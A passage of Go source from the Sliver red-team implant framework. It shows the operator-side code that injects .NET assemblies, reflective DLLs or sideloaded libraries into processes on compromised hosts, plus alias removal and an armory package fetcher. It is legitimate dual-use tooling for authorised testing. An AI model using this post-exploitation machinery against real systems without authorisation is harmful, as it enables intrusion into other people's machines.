Help: helpMsg,
|
||||
LongHelp: longHelpMsg,
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runAliasCommand(extCtx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
if aliasManifest.IsAssembly {
|
||||
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
}
|
||||
f.String("p", "process", "", "Path to process to host the shared object")
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.StringList("arguments", "arguments", grumble.Default([]string{}))
|
||||
},
|
||||
HelpGroup: consts.AliasHelpGroup,
|
||||
}
|
||||
con.App.AddCommand(addAliasCmd)
|
||||
|
||||
// Have to use a global map here, as passing the aliasCmd
|
||||
// either by value or by ref fucks things up
|
||||
loadedAliases[aliasManifest.CommandName] = &loadedAlias{
|
||||
Manifest: aliasManifest,
|
||||
Command: addAliasCmd,
|
||||
}
|
||||
|
||||
return aliasManifest, nil
|
||||
}
|
||||
|
||||
// ParseAliasManifest - Parse an alias manifest
|
||||
func ParseAliasManifest(data []byte) (*AliasManifest, error) {
|
||||
// parse it
|
||||
alias := &AliasManifest{}
|
||||
err := json.Unmarshal(data, alias)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if alias.Name == "" {
|
||||
return nil, fmt.Errorf("missing alias name in manifest")
|
||||
}
|
||||
if alias.CommandName == "" {
|
||||
return nil, fmt.Errorf("missing command.name in alias manifest")
|
||||
}
|
||||
if alias.Help == "" {
|
||||
return nil, fmt.Errorf("missing command.help in alias manifest")
|
||||
}
|
||||
|
||||
for _, aliasFile := range alias.Files {
|
||||
if aliasFile.OS == "" {
|
||||
return nil, fmt.Errorf("missing command.files.os in alias manifest")
|
||||
}
|
||||
aliasFile.OS = strings.ToLower(aliasFile.OS)
|
||||
if aliasFile.Arch == "" {
|
||||
return nil, fmt.Errorf("missing command.files.arch in alias manifest")
|
||||
}
|
||||
aliasFile.Arch = strings.ToLower(aliasFile.Arch)
|
||||
aliasFile.Path = util.ResolvePath(aliasFile.Path)
|
||||
if aliasFile.Path == "" || aliasFile.Path == "/" {
|
||||
return nil, fmt.Errorf("missing command.files.path in alias manifest")
|
||||
}
|
||||
}
|
||||
|
||||
return alias, nil
|
||||
}
|
||||
|
||||
func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
var goos string
|
||||
var goarch string
|
||||
if session != nil {
|
||||
goos = session.OS
|
||||
goarch = session.Arch
|
||||
} else {
|
||||
goos = beacon.OS
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
loadedAlias, ok := loadedAliases[ctx.Command.Name]
|
||||
if !ok {
|
||||
con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
|
||||
return
|
||||
}
|
||||
aliasManifest := loadedAlias.Manifest
|
||||
binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, goos, goarch)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Fail to find alias file: %s\n", err)
|
||||
return
|
||||
}
|
||||
args := ctx.Args.StringList("arguments")
|
||||
var extArgs string
|
||||
if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
|
||||
extArgs = aliasManifest.DefaultArgs
|
||||
} else {
|
||||
extArgs = strings.Join(args, " ")
|
||||
}
|
||||
|
||||
extArgs = strings.TrimSpace(extArgs)
|
||||
entryPoint := aliasManifest.Entrypoint
|
||||
processName := ctx.Flags.String("process")
|
||||
if processName == "" {
|
||||
processName, err = aliasManifest.getDefaultProcess(goos)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
isDLL := false
|
||||
if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
|
||||
isDLL = true
|
||||
}
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if aliasManifest.IsAssembly {
|
||||
|
||||
// Execute Assembly
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: processName,
|
||||
Arguments: extArgs,
|
||||
Assembly: binData,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if executeAssemblyResp.Response != nil && executeAssemblyResp.Response.Async {
|
||||
con.AddBeaconCallback(executeAssemblyResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, executeAssemblyResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(executeAssemblyResp.Response)
|
||||
} else {
|
||||
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
|
||||
}
|
||||
|
||||
} else if aliasManifest.IsReflective {
|
||||
|
||||
// Spawn DLL
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Args: strings.Trim(extArgs, " "),
|
||||
Data: binData,
|
||||
ProcessName: processName,
|
||||
EntryPoint: aliasManifest.Entrypoint,
|
||||
Kill: true,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if spawnDllResp.Response != nil && spawnDllResp.Response.Async {
|
||||
con.AddBeaconCallback(spawnDllResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, spawnDllResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(spawnDllResp.Response)
|
||||
} else {
|
||||
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
// Sideload
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Args: extArgs,
|
||||
Data: binData,
|
||||
EntryPoint: entryPoint,
|
||||
ProcessName: processName,
|
||||
Kill: true,
|
||||
IsDLL: isDLL,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if sideloadResp.Response != nil && sideloadResp.Response.Async {
|
||||
con.AddBeaconCallback(sideloadResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, sideloadResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(sideloadResp.Response)
|
||||
} else {
|
||||
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// PrintSpawnDLLOutput - Prints the output of a spawn dll command
|
||||
func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(spawnDllResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
|
||||
// PrintSideloadOutput - Prints the output of a sideload command
|
||||
func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(sideloadResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
|
||||
// PrintAssemblyOutput - Prints the output of an execute-assembly command
|
||||
func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(execAsmResp.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
|
||||
func cmdExists(name string, app *grumble.App) bool {
|
||||
for _, c := range app.Commands().All() {
|
||||
if name == c.Name {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,75 @@
|
||||
package alias
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// AliasesRemoveCmd - Locally load a alias into the Sliver shell.
|
||||
func AliasesRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("Extension name is required\n")
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' alias?", name)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
err := RemoveAliasByCommandName(name, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error removing alias: %s\n", err)
|
||||
return
|
||||
} else {
|
||||
con.PrintInfof("Alias '%s' removed\n", name)
|
||||
}
|
||||
}
|
||||
|
||||
// RemoveAliasByCommandName - Remove an alias by command name
|
||||
func RemoveAliasByCommandName(commandName string, con *console.SliverConsoleClient) error {
|
||||
if commandName == "" {
|
||||
return errors.New("command name is required")
|
||||
}
|
||||
if _, ok := loadedAliases[commandName]; !ok {
|
||||
return errors.New("alias not loaded")
|
||||
}
|
||||
delete(loadedAliases, commandName)
|
||||
con.App.Commands().Remove(commandName)
|
||||
extPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(commandName))
|
||||
if _, err := os.Stat(extPath); os.IsNotExist(err) {
|
||||
return nil
|
||||
}
|
||||
err := os.RemoveAll(extPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,519 @@
|
||||
package armory
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
// ArmoryIndex - Index JSON containing alias/extension/bundle information
|
||||
type ArmoryIndex struct {
|
||||
ArmoryConfig *assets.ArmoryConfig `json:"-"`
|
||||
Aliases []*ArmoryPackage `json:"aliases"`
|
||||
Extensions []*ArmoryPackage `json:"extensions"`
|
||||
Bundles []*ArmoryBundle `json:"bundles"`
|
||||
}
|
||||
|
||||
// ArmoryPackage - JSON metadata for alias or extension
|
||||
type ArmoryPackage struct {
|
||||
Name string `json:"name"`
|
||||
CommandName string `json:"command_name"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
PublicKey string `json:"public_key"`
|
||||
|
||||
IsAlias bool `json:"-"`
|
||||
}
|
||||
|
||||
// ArmoryBundle - A list of packages
|
||||
type ArmoryBundle struct {
|
||||
Name string `json:"name"`
|
||||
Packages []string `json:"packages"`
|
||||
}
|
||||
|
||||
// ArmoryHTTPConfig - Configuration for armory HTTP client
|
||||
type ArmoryHTTPConfig struct {
|
||||
ArmoryConfig *assets.ArmoryConfig
|
||||
IgnoreCache bool
|
||||
ProxyURL *url.URL
|
||||
Timeout time.Duration
|
||||
DisableTLSValidation bool
|
||||
}
|
||||
|
||||
type indexCacheEntry struct {
|
||||
ArmoryConfig *assets.ArmoryConfig
|
||||
RepoURL string
|
||||
Fetched time.Time
|
||||
Index ArmoryIndex
|
||||
LastErr error
|
||||
}
|
||||
|
||||
type pkgCacheEntry struct {
|
||||
ArmoryConfig *assets.ArmoryConfig
|
||||
RepoURL string
|
||||
Fetched time.Time
|
||||
Pkg ArmoryPackage
|
||||
Sig minisign.Signature
|
||||
Alias *alias.AliasManifest
|
||||
Extension *extensions.ExtensionManifest
|
||||
LastErr error
|
||||
}
|
||||
|
||||
var (
|
||||
// public key -> armoryCacheEntry
|
||||
indexCache = sync.Map{}
|
||||
// public key -> armoryPkgCacheEntry
|
||||
pkgCache = sync.Map{}
|
||||
|
||||
// cacheTime - How long to cache the index/pkg manifests
|
||||
cacheTime = time.Hour
|
||||
|
||||
// This will kill a download if exceeded so needs to be large
|
||||
defaultTimeout = 15 * time.Minute
|
||||
)
|
||||
|
||||
// ArmoryCmd - The main armory command
|
||||
func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
armoriesConfig := assets.GetArmoriesConfig()
|
||||
con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig))
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
indexes := fetchIndexes(armoriesConfig, clientConfig)
|
||||
if len(indexes) != len(armoriesConfig) {
|
||||
con.Printf("errors!\n")
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(indexCacheEntry)
|
||||
if cacheEntry.LastErr != nil {
|
||||
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
|
||||
}
|
||||
return true
|
||||
})
|
||||
} else {
|
||||
con.Printf("done!\n")
|
||||
}
|
||||
|
||||
if 0 < len(indexes) {
|
||||
con.PrintInfof("Fetching package information ... ")
|
||||
fetchPackageSignatures(indexes, clientConfig)
|
||||
errorCount := 0
|
||||
aliases := []*alias.AliasManifest{}
|
||||
exts := []*extensions.ExtensionManifest{}
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.LastErr != nil {
|
||||
errorCount++
|
||||
if errorCount == 0 {
|
||||
con.Printf("errors!\n")
|
||||
}
|
||||
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
|
||||
} else {
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
aliases = append(aliases, cacheEntry.Alias)
|
||||
} else {
|
||||
exts = append(exts, cacheEntry.Extension)
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
if errorCount == 0 {
|
||||
con.Printf("done!\n")
|
||||
}
|
||||
if 0 < len(aliases) || 0 < len(exts) {
|
||||
con.Println()
|
||||
PrintArmoryPackages(aliases, exts, con)
|
||||
} else {
|
||||
con.PrintInfof("No packages found\n")
|
||||
}
|
||||
|
||||
con.Println()
|
||||
bundles := bundlesInCache()
|
||||
if 0 < len(bundles) {
|
||||
PrintArmoryBundles(bundles, con)
|
||||
} else {
|
||||
con.PrintInfof("No bundles found\n")
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("No indexes found\n")
|
||||
}
|
||||
}
|
||||
|
||||
func refresh(clientConfig ArmoryHTTPConfig) {
|
||||
armoriesConfig := assets.GetArmoriesConfig()
|
||||
indexes := fetchIndexes(armoriesConfig, clientConfig)
|
||||
fetchPackageSignatures(indexes, clientConfig)
|
||||
}
|
||||
|
||||
func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
|
||||
aliases := []*alias.AliasManifest{}
|
||||
exts := []*extensions.ExtensionManifest{}
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.LastErr == nil {
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
aliases = append(aliases, cacheEntry.Alias)
|
||||
} else {
|
||||
exts = append(exts, cacheEntry.Extension)
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
return aliases, exts
|
||||
}
|
||||
|
||||
func bundlesInCache() []*ArmoryBundle {
|
||||
bundles := []*ArmoryBundle{}
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
indexBundles := value.(indexCacheEntry).Index.Bundles
|
||||
bundles = append(bundles, indexBundles...)
|
||||
return true
|
||||
})
|
||||
return bundles
|
||||
}
|
||||
|
||||
// AliasExtensionOrBundleCompleter - Completer for alias, extension, and bundle names
|
||||
func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
results := []string{}
|
||||
aliases, exts := packagesInCache()
|
||||
bundles := bundlesInCache()
|
||||
for _, aliasPkg := range aliases {
|
||||
if strings.HasPrefix(aliasPkg.CommandName, prefix) {
|
||||
results = append(results, aliasPkg.CommandName)
|
||||
}
|
||||
}
|
||||
for _, extensionPkg := range exts {
|
||||
if strings.HasPrefix(extensionPkg.CommandName, prefix) {
|
||||
results = append(results, extensionPkg.CommandName)
|
||||
}
|
||||
}
|
||||
for _, bundle := range bundles {
|
||||
if strings.HasPrefix(bundle.Name, prefix) {
|
||||
results = append(results, bundle.Name)
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
// PrintArmoryPackages - Prints the armory packages
|
||||
func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
|
||||
width, _, err := term.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Packages" + console.Normal)
|
||||
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
tw.AppendHeader(table.Row{
|
||||
"Command Name",
|
||||
"Version",
|
||||
"Type",
|
||||
"Help",
|
||||
"URL",
|
||||
})
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"Command Name",
|
||||
"Version",
|
||||
"Type",
|
||||
"Help",
|
||||
})
|
||||
}
|
||||
|
||||
// Columns start at 1 for some dumb reason
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Number: 1, Mode: table.Asc},
|
||||
})
|
||||
|
||||
type pkgInfo struct {
|
||||
CommandName string
|
||||
Version string
|
||||
Type string
|
||||
Help string
|
||||
URL string
|
||||
}
|
||||
entries := []pkgInfo{}
|
||||
for _, aliasPkg := range aliases {
|
||||
entries = append(entries, pkgInfo{
|
||||
CommandName: aliasPkg.CommandName,
|
||||
Version: aliasPkg.Version,
|
||||
Type: "Alias",
|
||||
Help: aliasPkg.Help,
|
||||
URL: aliasPkg.RepoURL,
|
||||
})
|
||||
}
|
||||
for _, extension := range exts {
|
||||
entries = append(entries, pkgInfo{
|
||||
CommandName: extension.CommandName,
|
||||
Version: extension.Version,
|
||||
Type: "Extension",
|
||||
Help: extension.Help,
|
||||
URL: extension.RepoURL,
|
||||
})
|
||||
}
|
||||
|
||||
rows := []table.Row{}
|
||||
for _, pkg := range entries {
|
||||
color := console.Normal
|
||||
if extensions.CmdExists(pkg.CommandName, con.App) {
|
||||
color = console.Green
|
||||
}
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
rows = append(rows, table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
|
||||
})
|
||||
} else {
|
||||
rows = append(rows, table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
|
||||
})
|
||||
}
|
||||
}
|
||||
tw.AppendRows(rows)
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
// PrintArmoryBundles - Prints the armory bundles
|
||||
func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Bundles" + console.Normal)
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Contains",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
for _, bundle := range bundles {
|
||||
if len(bundle.Packages) < 1 {
|
||||
continue
|
||||
}
|
||||
packages := bundle.Packages[0]
|
||||
if 1 < len(packages) {
|
||||
packages += ", "
|
||||
}
|
||||
for index, pkgName := range bundle.Packages[1:] {
|
||||
if index%5 == 4 {
|
||||
packages += pkgName + "\n"
|
||||
} else {
|
||||
packages += pkgName
|
||||
if index != len(bundle.Packages)-2 {
|
||||
packages += ", "
|
||||
}
|
||||
}
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
bundle.Name,
|
||||
packages,
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func parseArmoryHTTPConfig(ctx *grumble.Context) ArmoryHTTPConfig {
|
||||
var proxyURL *url.URL
|
||||
rawProxyURL := ctx.Flags.String("proxy")
|
||||
if rawProxyURL != "" {
|
||||
proxyURL, _ = url.Parse(rawProxyURL)
|
||||
}
|
||||
|
||||
timeout := defaultTimeout
|
||||
rawTimeout := ctx.Flags.String("timeout")
|
||||
if rawTimeout != "" {
|
||||
var err error
|
||||
timeout, err = time.ParseDuration(rawTimeout)
|
||||
if err != nil {
|
||||
timeout = defaultTimeout
|
||||
}
|
||||
}
|
||||
|
||||
return ArmoryHTTPConfig{
|
||||
IgnoreCache: ctx.Flags.Bool("ignore-cache"),
|
||||
ProxyURL: proxyURL,
|
||||
Timeout: timeout,
|
||||
DisableTLSValidation: ctx.Flags.Bool("insecure"),
|
||||
}
|
||||
}
|
||||
|
||||
// fetch armory indexes, only returns indexes that were fetched successfully
|
||||
// errors are still in the cache objects however and can be checked
|
||||
func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) []ArmoryIndex {
|
||||
wg := &sync.WaitGroup{}
|
||||
for _, armoryConfig := range armoryConfigs {
|
||||
wg.Add(1)
|
||||
go fetchIndex(armoryConfig, clientConfig, wg)
|
||||
}
|
||||
wg.Wait()
|
||||
indexes := []ArmoryIndex{}
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(indexCacheEntry)
|
||||
if cacheEntry.LastErr == nil {
|
||||
indexes = append(indexes, cacheEntry.Index)
|
||||
}
|
||||
return true
|
||||
})
|
||||
return indexes
|
||||
}
|
||||
|
||||
func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) {
|
||||
defer wg.Done()
|
||||
cacheEntry, ok := indexCache.Load(armoryConfig.PublicKey)
|
||||
if ok {
|
||||
cached := cacheEntry.(indexCacheEntry)
|
||||
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
armoryResult := &indexCacheEntry{
|
||||
ArmoryConfig: armoryConfig,
|
||||
RepoURL: armoryConfig.RepoURL,
|
||||
}
|
||||
defer func() {
|
||||
armoryResult.Fetched = time.Now()
|
||||
indexCache.Store(armoryConfig.PublicKey, *armoryResult)
|
||||
}()
|
||||
|
||||
repoURL, err := url.Parse(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
armoryResult.LastErr = err
|
||||
return
|
||||
}
|
||||
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
|
||||
armoryResult.LastErr = errors.New("invalid repo url scheme in index")
|
||||
return
|
||||
}
|
||||
|
||||
var index *ArmoryIndex
|
||||
if indexParser, ok := indexParsers[repoURL.Hostname()]; ok {
|
||||
index, err = indexParser(armoryConfig, clientConfig)
|
||||
} else {
|
||||
index, err = DefaultArmoryIndexParser(armoryConfig, clientConfig)
|
||||
}
|
||||
if index != nil {
|
||||
armoryResult.Index = *index
|
||||
}
|
||||
if err != nil {
|
||||
armoryResult.LastErr = fmt.Errorf("failed to parse armory index: %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig) {
|
||||
wg := &sync.WaitGroup{}
|
||||
for _, index := range indexes {
|
||||
for _, armoryPkg := range index.Extensions {
|
||||
wg.Add(1)
|
||||
armoryPkg.IsAlias = false
|
||||
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
|
||||
}
|
||||
for _, armoryPkg := range index.Aliases {
|
||||
wg.Add(1)
|
||||
armoryPkg.IsAlias = true
|
||||
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
|
||||
}
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
|
||||
defer wg.Done()
|
||||
cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
|
||||
if ok {
|
||||
cached := cacheEntry.(pkgCacheEntry)
|
||||
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
pkgCacheEntry := &pkgCacheEntry{
